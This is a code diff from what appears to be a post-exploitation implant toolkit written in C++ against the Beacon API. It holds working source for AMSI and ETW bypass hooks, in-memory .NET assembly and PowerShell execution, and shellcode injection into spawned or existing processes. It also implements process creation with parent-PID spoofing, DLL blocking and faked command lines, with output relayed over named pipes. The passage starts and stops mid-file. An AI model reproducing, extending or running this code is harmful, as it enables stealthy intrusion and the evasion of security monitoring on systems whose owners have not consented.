auto DotnetInit( VOID ) -> BOOL;
|
||||
auto DotnetExit( VOID ) -> BOOL;
|
||||
|
||||
auto SetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ UPTR Val,
|
||||
_In_ ULONG Idx
|
||||
) -> VOID;
|
||||
|
||||
auto GetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ ULONG Idx
|
||||
) -> UPTR;
|
||||
|
||||
auto MainHandler(
|
||||
_In_ PEXCEPTION_POINTERS e
|
||||
) -> LONG;
|
||||
|
||||
auto HookCallback(
|
||||
_In_ PVOID Parameter,
|
||||
_In_ BOOL TimerWait
|
||||
) -> VOID;
|
||||
|
||||
auto EtwDetour(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
|
||||
auto AmsiDetour(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
|
||||
auto AddNewThreads(
|
||||
_In_ INT8 Drx
|
||||
) -> BOOL;
|
||||
|
||||
auto RmNewThreads(
|
||||
_In_ INT8 Drx
|
||||
) -> BOOL;
|
||||
|
||||
auto NtCreateThreadExHk(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
}
|
||||
|
||||
struct {
|
||||
GUID CLRMetaHost;
|
||||
GUID CorRuntimeHost;
|
||||
} xCLSID = {
|
||||
.CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } },
|
||||
.CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } }
|
||||
};
|
||||
|
||||
struct {
|
||||
GUID MscorlibAsm;
|
||||
GUID IHostControl;
|
||||
GUID AppDomain;
|
||||
GUID ICLRMetaHost;
|
||||
GUID ICLRRuntimeInfo;
|
||||
GUID ICorRuntimeHost;
|
||||
GUID IDispatch;
|
||||
} xIID = {
|
||||
.MscorlibAsm = { 0x17156360, 0x2F1A, 0x384A, { 0xBC, 0x52, 0xFD, 0xE9, 0x3C, 0x21, 0x5C, 0x5B } },
|
||||
.IHostControl = { 0x02CA073C, 0x7079, 0x4860, { 0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91 } },
|
||||
.AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } },
|
||||
.ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } },
|
||||
.ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } },
|
||||
.ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } },
|
||||
.IDispatch = { 0x00020400, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }
|
||||
};
|
||||
|
||||
namespace Dotnet {
|
||||
BOOL ExitBypass = FALSE;
|
||||
ULONG Bypass = KH_BYPASS_NONE;
|
||||
UPTR ExitPtr = 0;
|
||||
|
||||
auto VersionList( VOID ) -> VOID;
|
||||
|
||||
auto Inline(
|
||||
_In_ BYTE* AsmBytes,
|
||||
_In_ ULONG AsmLength,
|
||||
_In_ WCHAR* Arguments,
|
||||
_In_ WCHAR* AppDomName,
|
||||
_In_ WCHAR* Version,
|
||||
_In_ BOOL KeepLoad
|
||||
) -> BOOL;
|
||||
|
||||
auto CreateVariantCmd(
|
||||
WCHAR* Command
|
||||
) -> VARIANT;
|
||||
|
||||
auto CreateSafeArray(
|
||||
VARIANT* Args,
|
||||
UINT Argc
|
||||
) -> SAFEARRAY*;
|
||||
|
||||
auto GetMethodType(
|
||||
IBindingFlags Flags,
|
||||
IType* MType,
|
||||
BSTR MethodInp,
|
||||
IMethodInfo** MethodReff
|
||||
) -> HRESULT;
|
||||
|
||||
auto Pwsh(
|
||||
_In_ WCHAR* Command,
|
||||
_In_opt_ WCHAR* Script
|
||||
) -> HRESULT;
|
||||
|
||||
auto GetAssemblyLoaded(
|
||||
_In_ IAppDomain* AppDomain,
|
||||
_In_ WCHAR* AsmName1,
|
||||
_In_ GUID AsmIID,
|
||||
_Out_ IAssembly** Assembly
|
||||
) -> HRESULT;
|
||||
|
||||
auto PatchExit(
|
||||
_In_ ICorRuntimeHost* IRuntime
|
||||
) -> PVOID;
|
||||
}
|
||||
|
||||
#endif // DOTNET_H
|
||||
@@ -62,6 +62,7 @@ extern "C" {
|
||||
DFR(KERNEL32, K32GetModuleFileNameExA)
|
||||
|
||||
DFR(KERNEL32, CreateThread)
|
||||
DFR(KERNEL32, ResumeThread)
|
||||
DFR(KERNEL32, CreateRemoteThread)
|
||||
|
||||
DFR(KERNEL32, InitializeProcThreadAttributeList)
|
||||
@@ -146,6 +147,7 @@ extern "C" {
|
||||
DFR(ADVAPI32, RegSetValueExA)
|
||||
|
||||
// ==================== MSVCRT ====================
|
||||
DFR(MSVCRT, calloc)
|
||||
DFR(MSVCRT, malloc)
|
||||
DFR(MSVCRT, realloc)
|
||||
DFR(MSVCRT, free)
|
||||
@@ -251,6 +253,7 @@ extern "C" {
|
||||
#define GetModuleFileNameW KERNEL32$GetModuleFileNameW
|
||||
|
||||
#define CreateThread KERNEL32$CreateThread
|
||||
#define ResumeThread KERNEL32$ResumeThread
|
||||
#define CreateRemoteThread KERNEL32$CreateRemoteThread
|
||||
|
||||
#define InitializeProcThreadAttributeList KERNEL32$InitializeProcThreadAttributeList
|
||||
@@ -335,6 +338,7 @@ extern "C" {
|
||||
#define RegSetValueExA ADVAPI32$RegSetValueExA
|
||||
|
||||
// ==================== MSVCRT MACROS ====================
|
||||
#define calloc MSVCRT$calloc
|
||||
#define malloc MSVCRT$malloc
|
||||
#define realloc MSVCRT$realloc
|
||||
#define free MSVCRT$free
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
#define nt_current_process() ((HANDLE)-1)
|
||||
#define PIPE_BUFFER_DEFAULT_LEN 0x10000
|
||||
|
||||
typedef DWORD ERROR_CODE;
|
||||
|
||||
auto inline fmt_error( _In_ int error_code ) -> WCHAR* {
|
||||
WCHAR* error_msg = nullptr;
|
||||
ULONG flags = FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
@@ -59,8 +61,11 @@ struct _PS_CREATE_ARGS {
|
||||
typedef _PS_CREATE_ARGS PS_CREATE_ARGS;
|
||||
|
||||
auto kh_process_creation(
|
||||
_In_ PS_CREATE_ARGS* create_args,
|
||||
_Out_ PROCESS_INFORMATION* ps_information
|
||||
_In_ PS_CREATE_ARGS* create_args,
|
||||
_Out_opt_ PROCESS_INFORMATION* ps_information,
|
||||
_Out_opt_ PBYTE* output_ptr = nullptr,
|
||||
_Out_opt_ ULONG* output_len = nullptr,
|
||||
_Out_opt_ BOOL spawnto = TRUE
|
||||
) -> ULONG;
|
||||
|
||||
#endif // GENERAL_H
|
||||
@@ -1,55 +0,0 @@
|
||||
#include <general.h>
|
||||
|
||||
auto inline KhpCreateProcess(
|
||||
_In_ WCHAR* SpawnProcess,
|
||||
_In_ ULONG StateFlag,
|
||||
_Out_ PROCESS_INFORMATION* PsInfo
|
||||
) -> ULONG {
|
||||
#if defined(PS_INJECT_KIT)
|
||||
#include <kit/process_creation.cc>
|
||||
#endif
|
||||
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof( BEACON_INFO ) );
|
||||
|
||||
BeaconInformation( info );
|
||||
|
||||
PS_CREATE_ARGS CreateArgs = {};
|
||||
|
||||
CreateArgs.ppid = info->Config->Ps.ParentID;
|
||||
CreateArgs.blockdlls = info->Config->Ps.BlockDlls;
|
||||
CreateArgs.argument = SpawnProcess;
|
||||
CreateArgs.state = StateFlag;
|
||||
|
||||
ULONG status = kh_process_creation( &CreateArgs, PsInfo );
|
||||
|
||||
free( info );
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
auto inline KhpSpawntoProcess(
|
||||
_In_ datap* DataParser,
|
||||
_In_ ULONG StateFlag,
|
||||
_Out_ PROCESS_INFORMATION* PsInfo
|
||||
) -> ULONG {
|
||||
#if defined(PS_INJECT_KIT)
|
||||
#include <kit/process_creation.cc>
|
||||
#endif
|
||||
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof( BEACON_INFO ) );
|
||||
|
||||
BeaconInformation( info );
|
||||
|
||||
PS_CREATE_ARGS CreateArgs = {};
|
||||
|
||||
CreateArgs.argument = info->Config->Postex.Spawnto;
|
||||
CreateArgs.state = StateFlag;
|
||||
CreateArgs.ppid = info->Config->Ps.ParentID;
|
||||
CreateArgs.blockdlls = info->Config->Ps.BlockDlls;
|
||||
|
||||
ULONG status = kh_process_creation( &CreateArgs, PsInfo );
|
||||
|
||||
free( info );
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -88,6 +88,8 @@ typedef struct _POSTEX_OBJECT {
|
||||
UINT8 failures;
|
||||
UINT8 connected;
|
||||
UINT8 need_free;
|
||||
|
||||
PCHAR uuid;
|
||||
} POSTEX_OBJECT, *PPOSTEX_OBJECT;
|
||||
|
||||
typedef struct _POSTEX_LIST {
|
||||
@@ -108,7 +110,7 @@ namespace postex {
|
||||
auto inject_explicit( _In_ UINT32 pid, _In_ PBYTE shellcode, _In_ INT32 size, _In_ POSTEX_OBJECT* obj ) -> ERROR_CODE;
|
||||
auto inject_inline( _In_ PBYTE shellcode, _In_ INT32 size, _In_ POSTEX_OBJECT* obj ) -> ERROR_CODE;
|
||||
|
||||
auto create( _In_ WCHAR* prefix_pipe, _In_ ULONG method, _In_ ULONG id ) -> POSTEX_OBJECT*;
|
||||
auto create( _In_ PCHAR prefix_pipe, _In_ ULONG method, _In_ ULONG id ) -> POSTEX_OBJECT*;
|
||||
auto add( _In_ POSTEX_OBJECT* obj ) -> void;
|
||||
auto rm( _In_ POSTEX_OBJECT* obj ) -> void;
|
||||
|
||||
@@ -229,11 +231,12 @@ auto postex::memory_free(
|
||||
}
|
||||
|
||||
auto postex::cleanup( POSTEX_OBJECT* obj ) -> void {
|
||||
postex::pipe_disconnect( obj );
|
||||
postex::pipe_disconnect( obj );
|
||||
postex::memory_free( obj );
|
||||
|
||||
if ( obj->thread_handle ) { CloseHandle( obj->thread_handle ); obj->thread_handle = nullptr; }
|
||||
if ( obj->process_handle ) { CloseHandle( obj->process_handle ); obj->process_handle = nullptr; }
|
||||
if ( obj->uuid ) { free( obj->uuid ); obj->uuid = nullptr; }
|
||||
}
|
||||
|
||||
auto postex::destroy(
|
||||
@@ -245,9 +248,9 @@ auto postex::destroy(
|
||||
}
|
||||
|
||||
auto postex::create(
|
||||
_In_ WCHAR* prefix_pipe,
|
||||
_In_ ULONG method,
|
||||
_In_ ULONG id
|
||||
_In_ PCHAR prefix_pipe,
|
||||
_In_ ULONG method,
|
||||
_In_ ULONG id
|
||||
) -> POSTEX_OBJECT* {
|
||||
POSTEX_OBJECT* obj = (POSTEX_OBJECT*)malloc( sizeof(POSTEX_OBJECT) );
|
||||
if ( ! obj ) return nullptr;
|
||||
@@ -321,8 +324,6 @@ auto postex::pipe_read(
|
||||
DWORD bytes_read = 0;
|
||||
PBYTE buffer = nullptr;
|
||||
|
||||
DbgPrint("[postex_poll] reading\n");
|
||||
|
||||
if ( ! PeekNamedPipe( obj->pipe, nullptr, 0, nullptr, &available, nullptr ) ) {
|
||||
obj->failures++;
|
||||
if ( obj->failures >= POSTEX_MAX_FAILURES ) {
|
||||
@@ -331,8 +332,6 @@ auto postex::pipe_read(
|
||||
return;
|
||||
}
|
||||
|
||||
DbgPrint("[postex_poll] available bytes: %d\n", available);
|
||||
|
||||
if ( available == 0 ) return;
|
||||
|
||||
buffer = (PBYTE)malloc( available );
|
||||
@@ -342,14 +341,11 @@ auto postex::pipe_read(
|
||||
free( buffer ); obj->failures++; return;
|
||||
}
|
||||
|
||||
DbgPrint("[postex_poll] read: %d\n", bytes_read);
|
||||
DbgPrint("[postex_poll] read: %s\n", buffer);
|
||||
|
||||
obj->failures = 0;
|
||||
|
||||
if ( bytes_read && *((ULONG*)buffer) != obj->id ) {
|
||||
BeaconPkgInt32( MSG_RAW );
|
||||
BeaconPkgBytes( buffer, bytes_read );
|
||||
BeaconPkgInt32( MSG_RAW, obj->uuid );
|
||||
BeaconPkgBytes( buffer, bytes_read, obj->uuid );
|
||||
} else if ( bytes_read >= sizeof(PIPE_MSG) ) {
|
||||
PPIPE_MSG msg = (PPIPE_MSG)buffer;
|
||||
|
||||
@@ -358,7 +354,7 @@ auto postex::pipe_read(
|
||||
obj->need_free = TRUE;
|
||||
}
|
||||
|
||||
BeaconPkgInt32( msg->type );
|
||||
BeaconPkgInt32( msg->type, obj->uuid );
|
||||
|
||||
switch ( msg->type ) {
|
||||
case MSG_READY:
|
||||
@@ -368,7 +364,7 @@ auto postex::pipe_read(
|
||||
case MSG_OUTPUT:
|
||||
if ( bytes_read > sizeof(PIPE_MSG) ) {
|
||||
BeaconPkgInt32( msg->exit_code );
|
||||
BeaconPkgBytes( (buffer + sizeof(PIPE_MSG)), bytes_read - sizeof(PIPE_MSG) );
|
||||
BeaconPkgBytes( (buffer + sizeof(PIPE_MSG)), bytes_read - sizeof(PIPE_MSG), obj->uuid );
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -378,7 +374,7 @@ auto postex::pipe_read(
|
||||
|
||||
case MSG_END:
|
||||
obj->state = STATE_COMPLETED;
|
||||
BeaconPkgInt32( msg->exit_code );
|
||||
BeaconPkgInt32( msg->exit_code, obj->uuid );
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -420,7 +416,7 @@ auto postex::checkalive( PPOSTEX_OBJECT obj ) -> void {
|
||||
|
||||
auto postex::poll( void ) -> ULONG {
|
||||
POSTEX_LIST* list = postex::listget();
|
||||
|
||||
|
||||
POSTEX_OBJECT* obj = list->head;
|
||||
while ( obj ) {
|
||||
POSTEX_OBJECT* next = obj->next;
|
||||
@@ -447,17 +443,14 @@ auto postex::poll( void ) -> ULONG {
|
||||
return list->count;
|
||||
}
|
||||
|
||||
// ==================== INJECTION ====================
|
||||
|
||||
auto postex::inject_spawn(
|
||||
_In_ PBYTE shellcode,
|
||||
_In_ INT32 size,
|
||||
_In_ POSTEX_OBJECT* obj
|
||||
) -> ERROR_CODE {
|
||||
PS_CREATE_ARGS args = { .state = CREATE_SUSPENDED };
|
||||
PROCESS_INFORMATION ps_info = {};
|
||||
|
||||
ERROR_CODE code = SpawnInjection( shellcode, size, nullptr, &args );
|
||||
ERROR_CODE code = SpawnInjection( shellcode, size, nullptr );
|
||||
|
||||
if ( code == ERROR_SUCCESS ) {
|
||||
obj->process_handle = ps_info.hProcess;
|
||||
@@ -472,7 +465,7 @@ auto postex::inject_explicit(
|
||||
) -> ERROR_CODE {
|
||||
PROCESS_INFORMATION ps_info = {};
|
||||
|
||||
ERROR_CODE code = ExplicitInjection( pid, FALSE, shellcode, size, nullptr, &ps_info );
|
||||
ERROR_CODE code = ExplicitInjection( pid, TRUE, shellcode, size, nullptr, &ps_info );
|
||||
|
||||
obj->process_handle = ps_info.hProcess;
|
||||
obj->thread_handle = ps_info.hThread;
|
||||
@@ -524,25 +517,23 @@ extern "C" auto go_inject( char* args, int argc ) -> BOOL {
|
||||
BeaconInformation( &info );
|
||||
|
||||
ULONG seed = GetTickCount();
|
||||
postex_id = RtlRandomEx( &seed );
|
||||
|
||||
DbgPrint( "postex id: %x\n", postex_id );
|
||||
|
||||
DbgPrint("pipe: %s\n", info.Config->Postex.ForkPipe);
|
||||
postex_id = RtlRandomEx( &seed );
|
||||
|
||||
POSTEX_OBJECT* obj = postex::create( info.Config->Postex.ForkPipe, method, postex_id );
|
||||
if ( ! obj ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
obj->uuid = (PCHAR)malloc( 36 );
|
||||
memcpy( obj->uuid, info.Config->Postex.CurrentUUID, 36 );
|
||||
|
||||
// Calculate sizes dynamically
|
||||
// ULONG pipename_len = wcslen( info.Config->Postex.ForkPipe ) * sizeof(WCHAR);
|
||||
ULONG pipename_len = strlen( (PCHAR)obj->pipename ) * sizeof(CHAR) + 1;
|
||||
|
||||
// Calculate header size based on struct layout
|
||||
ULONG header_size = offsetof(POSTEX_HEADER, pipename) + // Fixed fields up to pipename
|
||||
sizeof(ULONG) + // pipename_len field
|
||||
pipename_len + // pipename buffer
|
||||
pipename_len + // pipename buffer
|
||||
sizeof(ULONG) + // argc field
|
||||
arglen; // args buffer
|
||||
|
||||
@@ -614,14 +605,19 @@ extern "C" auto go_inject( char* args, int argc ) -> BOOL {
|
||||
break;
|
||||
}
|
||||
|
||||
DbgPrint("failed: %X\n", ok);
|
||||
|
||||
// Free the allocated buffer
|
||||
VirtualFree( full_content, 0, MEM_RELEASE );
|
||||
|
||||
if ( ! ok ) {
|
||||
DbgPrint("success: %X\n", ok);
|
||||
postex::add( obj );
|
||||
|
||||
WaitForSingleObject( nt_current_process(), 500 );
|
||||
|
||||
if ( ! obj->connected ) {
|
||||
if ( postex::pipe_connect( obj, 500 ) ) {
|
||||
obj->connected = TRUE;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
postex::cleanup( obj );
|
||||
free( obj );
|
||||
@@ -658,9 +654,9 @@ extern "C" void go_suspend( char* args, int argc ) {
|
||||
}
|
||||
|
||||
if ( postex::pipe_send( obj, CMD_SUSPEND ) ) {
|
||||
BeaconPkgInt32( 0 );
|
||||
BeaconPkgInt32( 0, obj->uuid );
|
||||
} else {
|
||||
BeaconPkgInt32( 0 );
|
||||
BeaconPkgInt32( 0, obj->uuid );
|
||||
}
|
||||
}
|
||||
|
||||
@@ -677,14 +673,12 @@ extern "C" void go_resume(char* args, int argc) {
|
||||
}
|
||||
|
||||
auto code = postex::pipe_send( obj, CMD_RESUME );
|
||||
BeaconPkgInt32( code );
|
||||
BeaconPkgInt32( code, obj->uuid );
|
||||
}
|
||||
|
||||
extern "C" void go_kill( char* args, int argc ) {
|
||||
datap parser = {};
|
||||
|
||||
BeaconDataParse( &parser, args, argc );
|
||||
|
||||
ULONG id = BeaconDataInt(&parser);
|
||||
|
||||
POSTEX_OBJECT* obj = postex::find( id );
|
||||
@@ -694,9 +688,14 @@ extern "C" void go_kill( char* args, int argc ) {
|
||||
|
||||
postex::pipe_send( obj, CMD_KILL );
|
||||
|
||||
PCHAR uuid_copy = obj->uuid;
|
||||
obj->uuid = nullptr;
|
||||
|
||||
postex::destroy( obj );
|
||||
|
||||
BeaconPkgInt32( TRUE );
|
||||
BeaconPkgInt32( TRUE, uuid_copy );
|
||||
|
||||
if ( uuid_copy ) free( uuid_copy );
|
||||
}
|
||||
|
||||
extern "C" void go_list( char* args, int argc ) {
|
||||
|
||||
@@ -14,9 +14,6 @@ auto read_pipe_output(
|
||||
_Out_opt_ PBYTE* out_buffer,
|
||||
_Out_opt_ ULONG* out_length
|
||||
) -> NTSTATUS {
|
||||
DbgPrint( "[read_pipe_output] Starting pipe read loop\n" );
|
||||
|
||||
// Inicializar outputs
|
||||
if ( out_buffer ) *out_buffer = nullptr;
|
||||
if ( out_length ) *out_length = 0;
|
||||
|
||||
@@ -98,7 +95,6 @@ auto read_pipe_output(
|
||||
WaitForSingleObject( nt_current_process(), 50 );
|
||||
|
||||
if ( PeekNamedPipe( pipe_read, nullptr, 0, nullptr, &bytes_available, nullptr ) && bytes_available == 0 ) {
|
||||
DbgPrint( "[read_pipe_output] No more data - done\n" );
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
@@ -130,32 +126,30 @@ auto read_pipe_output(
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
extern "C" auto kh_process_creation(
|
||||
auto kh_process_creation(
|
||||
_In_ PS_CREATE_ARGS* create_args,
|
||||
_Out_opt_ PROCESS_INFORMATION* ps_information,
|
||||
_Out_opt_ PBYTE* output_ptr,
|
||||
_Out_opt_ ULONG* output_len
|
||||
) -> ULONG {
|
||||
DbgPrint( "[kh_process_creation] Function entry\n" );
|
||||
|
||||
_Out_opt_ ULONG* output_len,
|
||||
_Out_opt_ BOOL spawnto
|
||||
) -> ULONG {
|
||||
if ( output_ptr ) *output_ptr = nullptr;
|
||||
if ( output_len ) *output_len = 0;
|
||||
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof( BEACON_INFO ) );
|
||||
DbgPrint( "[kh_process_creation] Allocated BEACON_INFO at %p\n", info );
|
||||
|
||||
BeaconInformation( info );
|
||||
DbgPrint( "[kh_process_creation] Retrieved beacon information\n" );
|
||||
|
||||
create_args->ppid = info->Config->Ps.ParentID;
|
||||
create_args->blockdlls = info->Config->Ps.BlockDlls;
|
||||
create_args->spoofarg = info->Config->Ps.SpoofArg;
|
||||
|
||||
DbgPrint( "[kh_process_creation] Config: ppid=%d, blockdlls=%d, spoofarg=%d\n",
|
||||
create_args->ppid, create_args->blockdlls, create_args->spoofarg );
|
||||
|
||||
auto process_cmdline = (create_args->spoofarg ? create_args->spoofarg : create_args->argument);
|
||||
DbgPrint( "[kh_process_creation] Process cmdline: %ls\n", process_cmdline );
|
||||
auto process_cmd_spooflen = wcslen( create_args->argument ) * sizeof(WCHAR);
|
||||
auto process_peb_cmd = UNICODE_STRING{ 0 };
|
||||
auto process_peb_params = RTL_USER_PROCESS_PARAMETERS{ 0 };
|
||||
auto process_peb = PEB{ 0 };
|
||||
auto process_basic_info = PROCESS_BASIC_INFORMATION{ 0 };
|
||||
auto process_cmdline = (create_args->spoofarg ? create_args->spoofarg : create_args->argument);
|
||||
|
||||
auto process_info = PROCESS_INFORMATION{ 0 };
|
||||
auto startup_info_ex = STARTUPINFOEXW{ 0 };
|
||||
@@ -179,90 +173,75 @@ extern "C" auto kh_process_creation(
|
||||
ULONG error_code = ERROR_SUCCESS;
|
||||
BOOL success = FALSE;
|
||||
|
||||
auto cleanup = [&]( NTSTATUS ret_status ) -> NTSTATUS {
|
||||
DbgPrint( "[cleanup] Cleaning up resources, status=%08X\n", ret_status );
|
||||
process_flags |= create_args->state;
|
||||
|
||||
auto cleanup = [&]( NTSTATUS ret_status ) -> NTSTATUS {
|
||||
if ( attribute_buff ) {
|
||||
DeleteProcThreadAttributeList( (LPPROC_THREAD_ATTRIBUTE_LIST)attribute_buff );
|
||||
free( attribute_buff );
|
||||
DbgPrint( "[cleanup] Freed attribute buffer\n" );
|
||||
}
|
||||
|
||||
if ( pipe_read ) { CloseHandle( pipe_read ); DbgPrint( "[cleanup] Closed pipe_read\n" ); }
|
||||
if ( pipe_write ) { CloseHandle( pipe_write ); DbgPrint( "[cleanup] Closed pipe_write\n" ); }
|
||||
if ( parent_handle ) { CloseHandle( parent_handle ); DbgPrint( "[cleanup] Closed parent_handle\n" ); }
|
||||
if ( pipe_read ) { CloseHandle( pipe_read ); }
|
||||
if ( pipe_write ) { CloseHandle( pipe_write ); }
|
||||
if ( parent_handle ) { CloseHandle( parent_handle ); }
|
||||
|
||||
return ret_status;
|
||||
};
|
||||
|
||||
if ( create_args->spoofarg && ( ! ( create_args->state & CREATE_SUSPENDED ) ) && ! spawnto ) {
|
||||
process_flags |= CREATE_SUSPENDED;
|
||||
}
|
||||
|
||||
use_extended_info = ( create_args->method == Create::Default );
|
||||
DbgPrint( "[kh_process_creation] Creation method=%d, use_extended_info=%d\n",
|
||||
create_args->method, use_extended_info );
|
||||
|
||||
if ( use_extended_info ) {
|
||||
if ( create_args->ppid ) update_attr_count++;
|
||||
if ( create_args->blockdlls ) update_attr_count++;
|
||||
DbgPrint( "[kh_process_creation] Attribute count: %d\n", update_attr_count );
|
||||
}
|
||||
|
||||
if ( update_attr_count > 0 ) {
|
||||
InitializeProcThreadAttributeList( nullptr, update_attr_count, 0, &attribute_size );
|
||||
DbgPrint( "[kh_process_creation] Required attribute size: %zu bytes\n", attribute_size );
|
||||
|
||||
attribute_buff = malloc( attribute_size );
|
||||
if ( !attribute_buff ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to allocate attribute buffer\n" );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to allocate attribute buffer" );
|
||||
return cleanup( STATUS_NO_MEMORY );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Allocated attribute buffer at %p\n", attribute_buff );
|
||||
|
||||
if ( !InitializeProcThreadAttributeList( (LPPROC_THREAD_ATTRIBUTE_LIST)attribute_buff, update_attr_count, 0, &attribute_size ) ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to initialize attribute list, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to initialize attribute list: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( STATUS_UNSUCCESSFUL );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Initialized attribute list successfully\n" );
|
||||
}
|
||||
|
||||
if ( use_extended_info && create_args->ppid ) {
|
||||
DbgPrint( "[kh_process_creation] Opening parent process with PID=%d\n", create_args->ppid );
|
||||
|
||||
if ( use_extended_info && create_args->ppid ) {
|
||||
parent_handle = OpenProcess( PROCESS_CREATE_PROCESS | PROCESS_DUP_HANDLE, FALSE, create_args->ppid );
|
||||
if ( ! parent_handle ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to open parent process, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to open parent process %d: (%d) %ls", create_args->ppid, error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Opened parent process handle=%p\n", parent_handle );
|
||||
|
||||
if ( ! UpdateProcThreadAttribute( (LPPROC_THREAD_ATTRIBUTE_LIST)attribute_buff, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent_handle, sizeof(HANDLE), nullptr, nullptr ) ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to update parent process attribute, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to update parent process attribute: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Updated parent process attribute successfully\n" );
|
||||
}
|
||||
|
||||
if ( use_extended_info && create_args->blockdlls ) {
|
||||
process_policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
|
||||
DbgPrint( "[kh_process_creation] Setting BlockDlls mitigation policy\n" );
|
||||
|
||||
if ( ! UpdateProcThreadAttribute( (LPPROC_THREAD_ATTRIBUTE_LIST)attribute_buff, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &process_policy, sizeof(UINT_PTR), nullptr, nullptr ) ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to update mitigation policy, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to update mitigation policy attribute: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Updated mitigation policy successfully\n" );
|
||||
}
|
||||
|
||||
if ( use_extended_info ) {
|
||||
DbgPrint( "[kh_process_creation] Configuring extended startup info\n" );
|
||||
startup_info_ex.StartupInfo.cb = sizeof( STARTUPINFOEXW );
|
||||
startup_info_ex.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
startup_info_ex.StartupInfo.wShowWindow = SW_HIDE;
|
||||
@@ -270,43 +249,31 @@ extern "C" auto kh_process_creation(
|
||||
if ( attribute_buff ) {
|
||||
startup_info_ex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)attribute_buff;
|
||||
process_flags |= EXTENDED_STARTUPINFO_PRESENT;
|
||||
DbgPrint( "[kh_process_creation] Added EXTENDED_STARTUPINFO_PRESENT flag\n" );
|
||||
}
|
||||
} else {
|
||||
DbgPrint( "[kh_process_creation] Configuring standard startup info\n" );
|
||||
startup_info.cb = sizeof( STARTUPINFOW );
|
||||
startup_info.dwFlags = STARTF_USESHOWWINDOW;
|
||||
startup_info.wShowWindow = SW_HIDE;
|
||||
}
|
||||
|
||||
if ( create_args->pipe ) {
|
||||
DbgPrint( "[kh_process_creation] Creating pipe for output capture\n" );
|
||||
|
||||
if ( create_args->pipe ) {
|
||||
if ( ! CreatePipe( &pipe_read, &pipe_write, &security_attr, 0 ) ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to create pipe, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to create pipe: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Created pipe: read=%p, write=%p\n", pipe_read, pipe_write );
|
||||
|
||||
SetHandleInformation( pipe_read, HANDLE_FLAG_INHERIT, 0 );
|
||||
DbgPrint( "[kh_process_creation] Set pipe_read as non-inheritable\n" );
|
||||
|
||||
if ( use_extended_info && create_args->ppid && parent_handle ) {
|
||||
DbgPrint( "[kh_process_creation] Duplicating pipe write handle to parent process\n" );
|
||||
|
||||
if ( !DuplicateHandle( nt_current_process(), pipe_write, parent_handle, &pipe_duplicate, 0, TRUE, DUPLICATE_SAME_ACCESS ) ) {
